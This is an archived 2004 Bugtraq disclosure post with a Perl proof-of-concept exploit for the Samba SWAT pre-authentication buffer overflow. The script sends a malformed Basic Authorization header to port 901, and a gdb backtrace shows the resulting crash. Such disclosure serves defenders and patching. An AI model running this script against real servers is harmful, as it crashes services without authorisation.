bugtraq - SWAT PreAuthorization PoC

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Date: Thu, 22 Jul 2004 20:31:25 +0300
From: bugtraq@...ondsecurity.com
To: full-disclosure@...ts.netsys.com, bugtraq@...urityfocus.com
Subject: SWAT PreAuthorization PoC


Hi,

The following is a brief proof of concept exploit code for the vulnerability 
mentioned in "Evgeny Demidov" <demidov@...g.net>'s advisory: Samba 3.x swat 
preauthentication buffer overflow

Running the perl script against a vulnerable SWAT server will cause:
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30853]
0x410957af in memcpy () from /lib/tls/libc.so.6
(gdb) bt
#0  0x410957af in memcpy () from /lib/tls/libc.so.6
#1  0xbffff340 in ?? ()
#2  0x00000001 in ?? ()
#3  0x080e34e7 in ?? ()
#4  0xbffff5e5 in ?? ()
#5  0x082919a0 in ?? ()
#6  0xffffffff in ?? ()
#7  0x080e08f0 in ?? ()
#8  0x082919a0 in ?? ()
#9  0xffffffff in ?? ()
#10 0x080e7090 in ?? ()
#11 0x0c0b8fae in ?? ()
#12 0xbffff5e5 in ?? ()
#13 0x00000000 in ?? ()
#14 0xbffff5a8 in ?? ()
#15 0x0806c97d in ?? ()
#16 0xbffff5e5 in ?? ()
#17 0x0815fd76 in ?? ()
#18 0x00000006 in ?? ()
#19 0x41150ebc in ?? () from /lib/tls/libc.so.6
#20 0x081c8480 in ?? ()
#21 0x4108ae2f in _IO_list_resetlock () from /lib/tls/libc.so.6
#22 0xbffff3b4 in ?? ()
#23 0x081c8480 in ?? ()
#24 0x081c887f in ?? ()
#25 0x00000000 in ?? ()
#26 0x00000000 in ?? ()
#27 0xbffff3b4 in ?? ()
#28 0xbffff4cc in ?? ()
#29 0x00000400 in ?? ()
#30 0x4108dda4 in mallopt () from /lib/tls/libc.so.6
#31 0xbffff3b4 in ?? ()
#32 0x08162fd9 in ?? ()
#33 0x41151888 in __after_morecore_hook () from /lib/tls/libc.so.6
#34 0x4108e3c8 in mallopt () from /lib/tls/libc.so.6
#35 0x00000000 in ?? ()


Exploit:
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (&lt;$remote>)
{
&nbsp;print $_;
}
print "\n";

close $remote;

-- 
Thanks
Noam Rathaus
CTO
Beyond Security Ltd.

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